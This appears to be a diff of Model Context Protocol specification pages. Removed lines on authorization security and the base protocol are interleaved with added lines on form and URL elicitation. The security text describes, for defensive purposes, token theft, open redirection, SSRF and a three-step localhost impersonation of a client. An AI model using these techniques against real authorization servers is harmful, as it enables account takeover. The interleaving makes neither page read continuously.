failures for the same resource and operation combination. + Supported formats: `email`, `uri`, `date`, `date-time` -## Security Considerations +2. **Number Schema** -Implementations **MUST** follow OAuth 2.1 security best practices as laid out in [OAuth 2.1 Section 7. "Security Considerations"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-security-considerations). + ```json theme={null} + { + "type": "number", // or "integer" + "title": "Display Name", + "description": "Description text", + "minimum": 0, + "maximum": 100, + "default": 50 + } + ``` -### Token Audience Binding and Validation +3. **Boolean Schema** -[RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) Resource Indicators provide critical security benefits by binding tokens to their intended -audiences **when the Authorization Server supports the capability**. To enable current and future adoption: + ```json theme={null} + { + "type": "boolean", + "title": "Display Name", + "description": "Description text", + "default": false + } + ``` -* MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](#resource-parameter-implementation) section -* MCP servers **MUST** validate that tokens presented to them were specifically issued for their use +4. **Enum Schema** -The [Security Best Practices document](/specification/2025-11-25/basic/security_best_practices#token-passthrough) -outlines why token audience validation is crucial and why token passthrough is explicitly forbidden. + Single-select enum (without titles): -### Token Theft + ```json theme={null} + { + "type": "string", + "title": "Color Selection", + "description": "Choose your favorite color", + "enum": ["Red", "Green", "Blue"], + "default": "Red" + } + ``` -Attackers who obtain tokens stored by the client, or tokens cached or logged on the server can access protected resources with -requests that appear legitimate to resource servers. + Single-select enum (with titles): -Clients and servers **MUST** implement secure token storage and follow OAuth best practices, -as outlined in [OAuth 2.1, Section 7.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.1). + ```json theme={null} + { + "type": "string", + "title": "Color Selection", + "description": "Choose your favorite color", + "oneOf": [ + { "const": "#FF0000", "title": "Red" }, + { "const": "#00FF00", "title": "Green" }, + { "const": "#0000FF", "title": "Blue" } + ], + "default": "#FF0000" + } + ``` -Authorization servers **SHOULD** issue short-lived access tokens to reduce the impact of leaked tokens. -For public clients, authorization servers **MUST** rotate refresh tokens as described in [OAuth 2.1 Section 4.3.1 "Token Endpoint Extension"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.3.1). + Multi-select enum (without titles): -### Communication Security + ```json theme={null} + { + "type": "array", + "title": "Color Selection", + "description": "Choose your favorite colors", + "minItems": 1, + "maxItems": 2, + "items": { + "type": "string", + "enum": ["Red", "Green", "Blue"] + }, + "default": ["Red", "Green"] + } + ``` -Implementations **MUST** follow [OAuth 2.1 Section 1.5 "Communication Security"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5). + Multi-select enum (with titles): -Specifically: + ```json theme={null} + { + "type": "array", + "title": "Color Selection", + "description": "Choose your favorite colors", + "minItems": 1, + "maxItems": 2, + "items": { + "anyOf": [ + { "const": "#FF0000", "title": "Red" }, + { "const": "#00FF00", "title": "Green" }, + { "const": "#0000FF", "title": "Blue" } + ] + }, + "default": ["#FF0000", "#00FF00"] + } + ``` -1. All authorization server endpoints **MUST** be served over HTTPS. -2. All redirect URIs **MUST** be either `localhost` or use HTTPS. +Clients can use this schema to: -### Authorization Code Protection +1. Generate appropriate input forms +2. Validate user input before sending +3. Provide better guidance to users -An attacker who has gained access to an authorization code contained in an authorization response can try to redeem the authorization code for an access token or otherwise make use of the authorization code. -(Further described in [OAuth 2.1 Section 7.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5)) +All primitive types support optional default values to provide sensible starting points. Clients that support defaults SHOULD pre-populate form fields with these values. -To mitigate this, MCP clients **MUST** implement PKCE according to [OAuth 2.1 Section 7.5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5.2) and **MUST** verify PKCE support before proceeding with authorization. -PKCE helps prevent authorization code interception and injection attacks by requiring clients to create a secret verifier-challenge pair, ensuring that only the original requestor can exchange an authorization code for tokens. +Note that complex nested structures, arrays of objects (beyond enums), and other advanced JSON Schema features are intentionally not supported to simplify client user experience. -MCP clients **MUST** use the `S256` code challenge method when technically capable, as required by [OAuth 2.1 Section 4.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.1.1). +#### Example: Simple Text Request -Since OAuth 2.1 and PKCE specifications do not define a mechanism for clients to discover PKCE support, MCP clients **MUST** rely on authorization server metadata to verify this capability: +**Request:** -* **OAuth 2.0 Authorization Server Metadata**: If `code_challenge_methods_supported` is absent, the authorization server does not support PKCE and MCP clients **MUST** refuse to proceed. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "elicitation/create", + "params": { + "mode": "form", + "message": "Please provide your GitHub username", + "requestedSchema": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + }, + "required": ["name"] + } + } +} +``` -* **OpenID Connect Discovery 1.0**: While the [OpenID Provider Metadata](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata) does not define `code_challenge_methods_supported`, this field is commonly included by OpenID providers. MCP clients **MUST** verify the presence of `code_challenge_methods_supported` in the provider metadata response. If the field is absent, MCP clients **MUST** refuse to proceed. +**Response:** -Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `code_challenge_methods_supported` in their metadata to ensure MCP compatibility. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "action": "accept", + "content": { + "name": "octocat" + } + } +} +``` -### Open Redirection +#### Example: Structured Data Request -An attacker may craft malicious redirect URIs to direct users to phishing sites. +**Request:** -MCP clients **MUST** have redirect URIs registered with the authorization server. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "method": "elicitation/create", + "params": { + "mode": "form", + "message": "Please provide your contact information", + "requestedSchema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "description": "Your full name" + }, + "email": { + "type": "string", + "format": "email", + "description": "Your email address" + }, + "age": { + "type": "number", + "minimum": 18, + "description": "Your age" + } + }, + "required": ["name", "email"] + } + } +} +``` -Authorization servers **MUST** validate exact redirect URIs against pre-registered values to prevent redirection attacks. +**Response:** -MCP clients **SHOULD** use and verify state parameters in the authorization code flow -and discard any results that do not include or have a mismatch with the original state. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "result": { + "action": "accept", + "content": { + "name": "Monalisa Octocat", + "email": "octocat@github.com", + "age": 30 + } + } +} +``` -Authorization servers **MUST** take precautions to prevent redirecting user agents to untrusted URI's, following suggestions laid out in [OAuth 2.1 Section 7.12.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.12.2) +### URL Mode Elicitation Requests -Authorization servers **SHOULD** only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision. + + **New feature:** URL mode elicitation is introduced in the `2025-11-25` version of the MCP specification. Its design and implementation may change in future protocol revisions. + -### Client ID Metadata Document Security +URL mode elicitation enables servers to direct users to external URLs for out-of-band interactions that must not pass through the MCP client. This is essential for auth flows, payment processing, and other sensitive or secure operations. -When implementing Client ID Metadata Documents, authorization servers **MUST** consider the security implications -detailed in [OAuth Client ID Metadata Document, Section 6](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-security-considerations). -Key considerations include: +URL mode elicitation requests **MUST** specify `mode: "url"`, a `message`, and include these additional parameters: -#### Authorization Server Abuse Protection +| Name | Type | Description | +| --------------- | ------ | ----------------------------------------- | +| `url` | string | The URL that the user should navigate to. | +| `elicitationId` | string | A unique identifier for the elicitation. | -The authorization server takes a URL as input from an unknown client and fetches that URL. -A malicious client could use this to trigger the authorization server to make requests to arbitrary URLs, -such as requests to private administration endpoints the authorization server has access to. +The `url` parameter **MUST** contain a valid URL. -Authorization servers fetching metadata documents **SHOULD** consider -[Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/docs/Web/Security/Attacks/SSRF) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery). + + **Important**: URL mode elicitation is *not* for authorizing the MCP client's + access to the MCP server (that's handled by [MCP + authorization](../basic/authorization)). Instead, it's used when the MCP + server needs to obtain sensitive information or third-party authorization on + behalf of the user. The MCP client's bearer token remains unchanged. The + client's only responsibility is to provide the user with context about the + elicitation URL the server wants them to open. + -#### Localhost Redirect URI Risks +#### Example: Request Sensitive Data -Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves. An attacker can claim to be any client by: +This example shows a URL mode elicitation request directing the user to a secure URL where they can provide sensitive information (an API key, for example). +The same request could direct the user into an OAuth authorization flow, or a payment flow. The only difference is the URL and the message. -1. Providing the legitimate client's metadata URL as their `client_id` -2. Binding to the any `localhost` port, and providing that address as the redirect\_uri -3. Receiving the authorization code via the redirect when the user approves +**Request:** -The server will see the legitimate client's metadata document and the user will see the legitimate client's name, making attack detection difficult. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "method": "elicitation/create", + "params": { + "mode": "url", + "elicitationId": "550e8400-e29b-41d4-a716-446655440000", + "url": "https://mcp.example.com/ui/set_api_key", + "message": "Please provide your API key to continue." + } +} +``` -Authorization servers: +**Response:** -* **SHOULD** display additional warnings for `localhost`-only redirect URIs -* **MAY** require additional attestation mechanisms for enhanced security -* **MUST** clearly display the redirect URI hostname during authorization +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "result": { + "action": "accept" + } +} +``` -#### Trust Policies +The response with `action: "accept"` indicates that the user has consented to the +interaction. It does not mean that the interaction is complete. The interaction occurs out +of band and the client is not aware of the outcome until and unless the server sends a notification indicating completion. -Authorization servers **MAY** implement domain-based trust policies: +### Completion Notifications for URL Mode Elicitation -* Allowlists for trusted domains (for protected servers) -* Accept any HTTPS `client_id` (for open servers) -* Reputation checks for unknown domains -* Restrictions based on domain age or certificate validation -* Display the CIMD and other associated client hostnames prominently to prevent phishing +Servers **MAY** send a `notifications/elicitation/complete` notification when an +out-of-band interaction started by URL mode elicitation is completed. This allows clients to react programmatically if appropriate. -Servers maintain full control over their access policies. +Servers sending notifications: -### Confused Deputy Problem +* **MUST** only send the notification to the client that initiated the elicitation request. +* **MUST** include the `elicitationId` established in the original `elicitation/create` request. -Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/specification/2025-11-25/basic/security_best_practices#confused-deputy-problem). -By using stolen authorization codes, they can obtain access tokens without user consent. +Clients: -MCP proxy servers using static client IDs **MUST** obtain user consent for each dynamically -registered client before forwarding to third-party authorization servers (which may require additional consent). +* **MUST** ignore notifications referencing unknown or already-completed IDs. +* **MAY** wait for this notification to automatically retry requests that received a [URLElicitationRequiredError](#error-handling), update the user interface, or otherwise continue an interaction. +* **SHOULD** still provide manual controls that let the user retry or cancel the original request (or otherwise resume interacting with the client) if the notification never arrives. -### Access Token Privilege Restriction +#### Example -An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources. +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/elicitation/complete", + "params": { + "elicitationId": "550e8400-e29b-41d4-a716-446655440000" + } +} +``` -This vulnerability has two critical dimensions: +### URL Elicitation Required Error -1. **Audience validation failures.** When an MCP server doesn't verify that tokens were specifically intended for it (for example, via the audience claim, as mentioned in [RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may accept tokens originally issued for other services. This breaks a fundamental OAuth security boundary, allowing attackers to reuse legitimate tokens across different services than intended. -2. **Token passthrough.** If the MCP server not only accepts tokens with incorrect audiences but also forwards these unmodified tokens to downstream services, it can potentially cause the ["confused deputy" problem](#confused-deputy-problem), where the downstream API may incorrectly trust the token as if it came from the MCP server or assume the token was validated by the upstream API. See the [Token Passthrough section](/specification/2025-11-25/basic/security_best_practices#token-passthrough) of the Security Best Practices guide for additional details. +When a request cannot be processed until an elicitation is completed, the server **MAY** return a [`URLElicitationRequiredError`](#error-handling) (code `-32042`) to indicate to the client that a URL mode elicitation is required. The server **MUST NOT** return this error except when URL mode elicitation is required. -MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties. +The error **MUST** include a list of elicitations that are required to complete before the original can be retried. -A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#section-5.2) to validate inbound tokens. +Any elicitations returned in the error **MUST** be URL mode elicitations and have an `elicitationId` property. -MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/specification/2025-11-25/basic/security_best_practices#token-passthrough) for details. +**Error Response:** -If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "error": { + "code": -32042, // URL_ELICITATION_REQUIRED + "message": "This request requires more information.", + "data": { + "elicitations": [ + { + "mode": "url", + "elicitationId": "550e8400-e29b-41d4-a716-446655440000", + "url": "https://mcp.example.com/connect?elicitationId=550e8400-e29b-41d4-a716-446655440000", + "message": "Authorization is required to access your Example Co files." + } + ] + } + } +} +``` -MCP clients **MUST** implement and use the `resource` parameter as defined in [RFC 8707 - Resource Indicators for OAuth 2.0](https://www.rfc-editor.org/rfc/rfc8707.html) -to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in -[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and -cannot be misused across different services. +## Message Flow -## MCP Authorization Extensions +### Form Mode Flow -There are several authorization extensions to the core protocol that define additional authorization mechanisms. These extensions are: +```mermaid theme={null} +sequenceDiagram + participant User + participant Client + participant Server -* **Optional** - Implementations can choose to adopt these extensions -* **Additive** - Extensions do not modify or break core protocol functionality; they add new capabilities while preserving core protocol behavior -* **Composable** - Extensions are modular and designed to work together without conflicts, allowing implementations to adopt multiple extensions simultaneously -* **Versioned independently** - Extensions follow the core MCP versioning cycle but may adopt independent versioning as needed + Note over Server: Server initiates elicitation + Server->>Client: elicitation/create (mode: form) -A list of supported extensions can be found in the [MCP Authorization Extensions](https://github.com/modelcontextprotocol/ext-auth) repository. + Note over User,Client: Present elicitation UI + User-->>Client: Provide requested information + Note over Server,Client: Complete request + Client->>Server: Return user response -# Overview -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/index + Note over Server: Continue processing with new information +``` +### URL Mode Flow +```mermaid theme={null} +sequenceDiagram + participant UserAgent as User Agent (Browser) + participant User + participant Client + participant Server -
+ Note over Server: Server initiates elicitation + Server->>Client: elicitation/create (mode: url) -**Protocol Revision**: 2025-11-25 + Client->>User: Present consent to open URL + User-->>Client: Provide consent -The Model Context Protocol consists of several key components that work together: + Client->>UserAgent: Open URL + Client->>Server: Accept response -* **Base Protocol**: Core JSON-RPC message types -* **Lifecycle Management**: Connection initialization, capability negotiation, and - session control -* **Authorization**: Authentication and authorization framework for HTTP-based transports -* **Server Features**: Resources, prompts, and tools exposed by servers -* **Client Features**: Sampling and root directory lists provided by clients -* **Utilities**: Cross-cutting concerns like logging and argument completion + Note over User,UserAgent: User interaction + UserAgent-->>Server: Interaction complete + Server-->>Client: notifications/elicitation/complete (optional) -All implementations **MUST** support the base protocol and lifecycle management -components. Other components **MAY** be implemented based on the specific needs of the -application. + Note over Server: Continue processing with new information +``` -These protocol layers establish clear separation of concerns while enabling rich -interactions between clients and servers. The modular design allows implementations to -support exactly the features they need. +### URL Mode With Elicitation Required Error Flow -## Messages +```mermaid theme={null} +sequenceDiagram + participant UserAgent as User Agent (Browser) + participant User + participant Client + participant Server -All messages between MCP clients and servers **MUST** follow the -[JSON-RPC 2.0](https://www.jsonrpc.org/specification) specification. The protocol defines -these types of messages: + Client->>Server: tools/call -### Requests + Note over Server: Server needs authorization + Server->>Client: URLElicitationRequiredError + Note over Client: Client notes the original request can be retried after elicitation -[Requests](/specification/2025-11-25/schema#jsonrpcrequest) are sent from the client to the server or vice versa, to initiate an operation. + Client->>User: Present consent to open URL + User-->>Client: Provide consent -```typescript theme={null} -{ - jsonrpc: "2.0"; - id: string | number; - method: string; - params?: { - [key: string]: unknown; - }; -} -``` + Client->>UserAgent: Open URL -* Requests **MUST** include a string or integer ID. -* Unlike base JSON-RPC, the ID **MUST NOT** be `null`. -* The request ID **MUST NOT** have been previously used by the requestor within the same - session. + Note over User,UserAgent: User interaction -### Responses + UserAgent-->>Server: Interaction complete + Server-->>Client: notifications/elicitation/complete (optional) -Responses are sent in reply to requests, containing either the result or error of the operation. + Client->>Server: Retry tools/call (optional) +``` -#### Result Responses +## Response Actions -[Result responses](/specification/2025-11-25/schema#jsonrpcresultresponse) are sent when the operation completes successfully. +Elicitation responses use a three-action model to clearly distinguish between different user actions. These actions apply to both form and URL elicitation modes. -```typescript theme={null} +```json theme={null} { - jsonrpc: "2.0"; - id: string | number; - result: { - [key: string]: unknown; + "jsonrpc": "2.0", + "id": 1, + "result": { + "action": "accept", // or "decline" or "cancel" + "content": { + "propertyName": "value", + "anotherProperty": 42 + } } } ``` -* Result responses **MUST** include the same ID as the request they correspond to. -* Result responses **MUST** include a `result` field. -* The `result` **MAY** follow any JSON object structure. +The three response actions are: -#### Error Responses +1. **Accept** (`action: "accept"`): User explicitly approved and submitted with data + * For form mode: The `content` field contains the submitted data matching the requested schema + * For URL mode: The `content` field is omitted + * Example: User clicked "Submit", "OK", "Confirm", etc. -[Error responses](/specification/2025-11-25/schema#jsonrpcerrorresponse) are sent when the operation fails or encounters an error. +2. **Decline** (`action: "decline"`): User explicitly declined the request + * The `content` field is typically omitted + * Example: User clicked "Reject", "Decline", "No", etc. -```typescript theme={null} -{ - jsonrpc: "2.0"; - id?: string | number; - error: { - code: number; - message: string; - data?: unknown; - } -} -``` +3. **Cancel** (`action: "cancel"`): User dismissed without making an explicit choice + * The `content` field is typically omitted + * Example: User closed the dialog, clicked outside, pressed Escape, browser failed to load, etc. -* Error responses **MUST** include the same ID as the request they correspond to (except in error cases where the ID could not be read due a malformed request). -* Error responses **MUST** include an `error` field with a `code` and `message`. -* Error codes **MUST** be integers. +Servers should handle each state appropriately: -### Notifications +* **Accept**: Process the submitted data +* **Decline**: Handle explicit decline (e.g., offer alternatives) +* **Cancel**: Handle dismissal (e.g., prompt again later) -[Notifications](/specification/2025-11-25/schema#jsonrpcnotification) are sent from the client to the server or vice versa, as a one-way message. -The receiver **MUST NOT** send a response. +## Implementation Considerations -```typescript theme={null} -{ - jsonrpc: "2.0"; - method: string; - params?: { - [key: string]: unknown; - }; -} -``` +### Statefulness -* Notifications **MUST NOT** include an ID. +Most practical uses of elicitation require that the server maintain state about users: -## Auth +* Whether required information has been collected (e.g., the user's display name via form mode elicitation) +* Status of resource access (e.g., API keys or a payment flow via URL mode elicitation) -MCP provides an [Authorization](/specification/2025-11-25/basic/authorization) framework for use with HTTP. -Implementations using an HTTP-based transport **SHOULD** conform to this specification, -whereas implementations using STDIO transport **SHOULD NOT** follow this specification, -and instead retrieve credentials from the environment. +Servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](../basic/security_best_practices) document. Specifically: -Additionally, clients and servers **MAY** negotiate their own custom authentication and -authorization strategies. +* State **MUST NOT** be associated with session IDs alone +* State storage **MUST** be protected against unauthorized access +* For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](../basic/authorization) when possible (e.g. `sub` claim) -For further discussions and contributions to the evolution of MCP's auth mechanisms, join -us in -[GitHub Discussions](https://github.com/modelcontextprotocol/specification/discussions) -to help shape the future of the protocol! + + The examples in this section are non-normative and illustrate potential uses + of elicitation. Implementers should adapt these patterns to their specific + requirements while maintaining security best practices. + -## Schema +### URL Mode Elicitation for Sensitive Data -The full specification of the protocol is defined as a -[TypeScript schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts). -This is the source of truth for all protocol messages and structures. +For servers that interact with external APIs requiring sensitive information (e.g., credentials, payment information), URL mode elicitation provides a secure mechanism for users to provide this information without exposing it to the MCP client. -There is also a -[JSON Schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.json), -which is automatically generated from the TypeScript source of truth, for use with -various automated tooling. +In this pattern: -## JSON Schema Usage +1. The server directs users to a secure web page (served over HTTPS) +2. The page presents a branded form UI on a domain the user trusts +3. Users enter sensitive credentials directly into the secure form +4. The server stores credentials securely, bound to the user's identity +5. Subsequent MCP requests use these stored credentials for API access -The Model Context Protocol uses JSON Schema for validation throughout the protocol. This section clarifies how JSON Schema should be used within MCP messages. +This approach ensures that sensitive credentials never pass through the LLM context, MCP client or any intermediate MCP servers, reducing the risk of exposure through client-side logging or other attack vectors. -### Schema Dialect +### URL Mode Elicitation for OAuth Flows -MCP supports JSON Schema with the following rules: +URL mode elicitation enables a pattern where MCP servers act as OAuth clients to third-party resource servers. +Authorization with external APIs enabled by URL mode elicitation is separate from [MCP authorization](../basic/authorization). MCP servers **MUST NOT** rely on URL mode elicitation to authorize users for themselves. -1. **Default dialect**: When a schema does not include a `$schema` field, it defaults to [JSON Schema 2020-12](https://json-schema.org/draft/2020-12/schema) -2. **Explicit dialect**: Schemas MAY include a `$schema` field to specify a different dialect -3. **Supported dialects**: Implementations MUST support at least 2020-12 and SHOULD document which additional dialects they support -4. **Recommendation**: Implementors are RECOMMENDED to use JSON Schema 2020-12. +#### Understanding the Distinction -### Example Usage +* **MCP Authorization**: Required OAuth flow between the MCP client and MCP server (covered in the [authorization specification](../basic/authorization)) +* **External (third-party) Authorization**: Optional authorization between the MCP server and a third-party resource server, initiated via URL mode elicitation -#### Default dialect (2020-12): +In external authorization, the server acts as both: -```json theme={null} -{ - "type": "object", - "properties": { - "name": { "type": "string" }, - "age": { "type": "integer", "minimum": 0 } - }, - "required": ["name"] -} -``` +* An OAuth resource server (to the MCP client) +* An OAuth client (to the third-party resource server) -#### Explicit dialect (draft-07): +Example scenario: -```json theme={null} -{ - "$schema": "http://json-schema.org/draft-07/schema#", - "type": "object", - "properties": { - "name": { "type": "string" }, - "age": { "type": "integer", "minimum": 0 } - }, - "required": ["name"] -} -``` +* An MCP client connects to an MCP server +* The MCP server integrates with various different third-party services +* When the MCP client calls a tool that requires access to a third-party service, the MCP server needs credentials for that service -### Implementation Requirements +The critical security requirements are: -* Clients and servers **MUST** support JSON Schema 2020-12 for schemas without an explicit `$schema` field -* Clients and servers **MUST** validate schemas according to their declared or default dialect. They **MUST** handle unsupported dialects gracefully by returning an appropriate error indicating the dialect is not supported. -* Clients and servers **SHOULD** document which schema dialects they support +1. **The third-party credentials MUST NOT transit through the MCP client**: The client must never see third-party credentials to protect the security boundary +2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](../basic/security_best_practices#token-passthrough), which is forbidden +3. **The user MUST authorize the MCP server directly**: The interaction happens outside the MCP protocol, without involving the MCP client +4. **The MCP server is responsible for tokens**: The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful). -### Schema Validation +Credentials obtained via URL mode elicitation are distinct from the MCP server credentials used by the MCP client. The MCP server **MUST NOT** transmit credentials obtained through URL mode elicitation to the MCP client. -* Schemas **MUST** be valid according to their declared or default dialect + + For additional background, refer to the [token passthrough + section](../basic/security_best_practices#token-passthrough) of the Security + Best Practices document to understand why MCP servers cannot act as + pass-through proxies. + -## General fields +#### Implementation Pattern -### `_meta` +When implementing external authorization via URL mode elicitation: -The `_meta` property/parameter is reserved by MCP to allow clients and servers -to attach additional metadata to their interactions. +1. The MCP server generates an authorization URL, acting as an OAuth client to the third-party service +2. The MCP server stores internal state that associates (binds) the elicitation request with the user's identity. +3. The MCP server sends a URL mode elicitation request to the client with a URL that can start the authorization flow. +4. The user completes the OAuth flow directly with the third-party authorization server +5. The third-party authorization server redirects back to the MCP server +6. The MCP server securely stores the third-party tokens, bound to the user's identity +7. Future MCP requests can leverage these stored tokens for API access to the third-party resource server -Certain key names are reserved by MCP for protocol-level metadata, as specified below; -implementations MUST NOT make assumptions about values at these keys. +The following is a non-normative example of how this pattern could be implemented: -Additionally, definitions in the [schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts) -may reserve particular names for purpose-specific metadata, as declared in those definitions. +```mermaid theme={null} +sequenceDiagram + participant User + participant UserAgent as User Agent (Browser) + participant 3AS as 3rd Party AS + participant 3RS as 3rd Party RS + participant Client as MCP Client + participant Server as MCP Server -**Key name format:** valid `_meta` key names have two segments: an optional **prefix**, and a **name**. + Client->>Server: tools/call + Note over Server: Needs 3rd-party authorization for user + Note over Server: Store state (bind the elicitation request to the user) + Server->>Client: URLElicitationRequiredError
(mode: "url", url: "https://mcp.example.com/connect?...") + Note over Client: Client notes the tools/call request can be retried later + Client->>User: Present consent to open URL + User->>Client: Provide consent + Client->>UserAgent: Open URL + Client->>Server: Accept response + UserAgent->>Server: Load connect route + Note over Server: Confirm: user is logged into MCP Server or MCP AS
Confirm: elicitation user matches session user + Server->>UserAgent: Redirect to third-party authorization endpoint + UserAgent->>3AS: Load authorize route + Note over 3AS,User: User interaction (OAuth flow):
User consents to scoped MCP Server access + 3AS->>UserAgent: redirect to MCP Server's redirect_uri + UserAgent->>Server: load redirect_uri page + Note over Server: Confirm: redirect_uri belongs to MCP Server + Server->>3AS: Exchange authorization code for OAuth tokens + 3AS->>Server: Grants tokens + Note over Server: Bind tokens to MCP user identity + Server-->>Client: notifications/elicitation/complete (optional) + Client->>Server: Retry tools/call + Note over Server: Retrieve token bound to user identity + Server->>3RS: Call 3rd-party API +``` -**Prefix:** +This pattern maintains clear security boundaries while enabling rich integrations with third-party services that require user authorization. -* If specified, MUST be a series of labels separated by dots (`.`), followed by a slash (`/`). - * Labels MUST start with a letter and end with a letter or digit; interior characters can be letters, digits, or hyphens (`-`). - * Implementations SHOULD use reverse DNS notation (e.g., `com.example/` rather than `example.com/`). -* Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use. - * For example: `io.modelcontextprotocol/`, `dev.mcp/`, `org.modelcontextprotocol.api/`, and `com.mcp.tools/` are all reserved. - * However, `com.example.mcp/` is NOT reserved, as the second label is `example`. +## Error Handling -**Name:** +Servers **MUST** return standard JSON-RPC errors for common failure cases: -* Unless empty, MUST begin and end with an alphanumeric character (`[a-z0-9A-Z]`). -* MAY contain hyphens (`-`), underscores (`_`), dots (`.`), and alphanumerics in between. +* When a request cannot be processed until an elicitation is completed: `-32042` (`URLElicitationRequiredError`) -### `icons` +Clients **MUST** return standard JSON-RPC errors for common failure cases: -The `icons` property provides a standardized way for servers to expose visual identifiers for their resources, tools, prompts, and implementations. Icons enhance user interfaces by providing visual context and improving the discoverability of available functionality. +* Server sends an `elicitation/create` request with a mode not declared in client capabilities: `-32602` (Invalid params) -Icons are represented as an array of `Icon` objects, where each icon includes: +## Security Considerations -* `src`: A URI pointing to the icon resource (required). This can be: - * An HTTP/HTTPS URL pointing to an image file - * A data URI with base64-encoded image data -* `mimeType`: Optional MIME type if the server's type is missing or generic -* `sizes`: Optional array of size specifications (e.g., `["48x48"]`, `["any"]` for scalable formats like SVG, or `["48x48", "96x96"]` for multiple sizes) -* `theme`: Optional theme preference (`light` or `dark`) for the icon background +1. Servers **MUST** bind elicitation requests to the client and user identity +2. Clients **MUST** provide clear indication of which server is requesting information +3. Clients **SHOULD** implement user approval controls +4. Clients **SHOULD** allow users to decline elicitation requests at any time +5. Clients **SHOULD** implement rate limiting +6. Clients **SHOULD** present elicitation requests in a way that makes it clear what information is being requested and why -**Required MIME type support:** +### Safe URL Handling -Clients that support rendering icons **MUST** support at least the following MIME types: +MCP servers requesting elicitation: -* `image/png` - PNG images (safe, universal compatibility) -* `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility) +1. **MUST NOT** include sensitive information about the end-user, including credentials, personal identifiable information, etc., in the URL sent to the client in a URL elicitation request. +2. **MUST NOT** provide a URL which is pre-authenticated to access a protected resource, as the URL could be used to impersonate the user by a malicious client. +3. **SHOULD NOT** include URLs intended to be clickable in any field of a form mode elicitation request. +4. **SHOULD** use HTTPS URLs for non-development environments. -Clients that support rendering icons **SHOULD** also support: +These server requirements ensure that client implementations have clear rules about when to present a URL to the user, so that the client-side rules (below) can be consistently applied. -* `image/svg+xml` - SVG images (scalable but requires security precautions as noted below) -* `image/webp` - WebP images (modern, efficient format) +Clients implementing URL mode elicitation **MUST** handle URLs carefully to prevent users from unknowingly clicking malicious links. -**Security considerations:** +When handling URL mode elicitation requests, MCP clients: -Consumers of icon metadata **MUST** take appropriate security precautions when handling icons to prevent compromise: +1. **MUST NOT** automatically pre-fetch the URL or any of its metadata. +2. **MUST NOT** open the URL without explicit consent from the user. +3. **MUST** show the full URL to the user for examination before consent. +4. **MUST** open the URL provided by the server in a secure manner that does not enable the client or LLM to inspect the content or user inputs. + For example, on iOS, [SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller) is good, but [WkWebView](https://developer.apple.com/documentation/webkit/wkwebview) is not. +5. **SHOULD** highlight the domain of the URL to mitigate subdomain spoofing. +6. **SHOULD** have warnings for ambiguous/suspicious URIs (i.e., containing Punycode). +7. **SHOULD NOT** render URLs as clickable in any field of an elicitation request, except for the `url` field in a URL elicitation request (with the restrictions detailed above). -* Treat icon metadata and icon bytes as untrusted inputs and defend against network, privacy, and parsing risks. -* Ensure that the icon URI is either a HTTPS or `data:` URI. Clients **MUST** reject icon URIs that use unsafe schemes and redirects, such as `javascript:`, `file:`, `ftp:`, 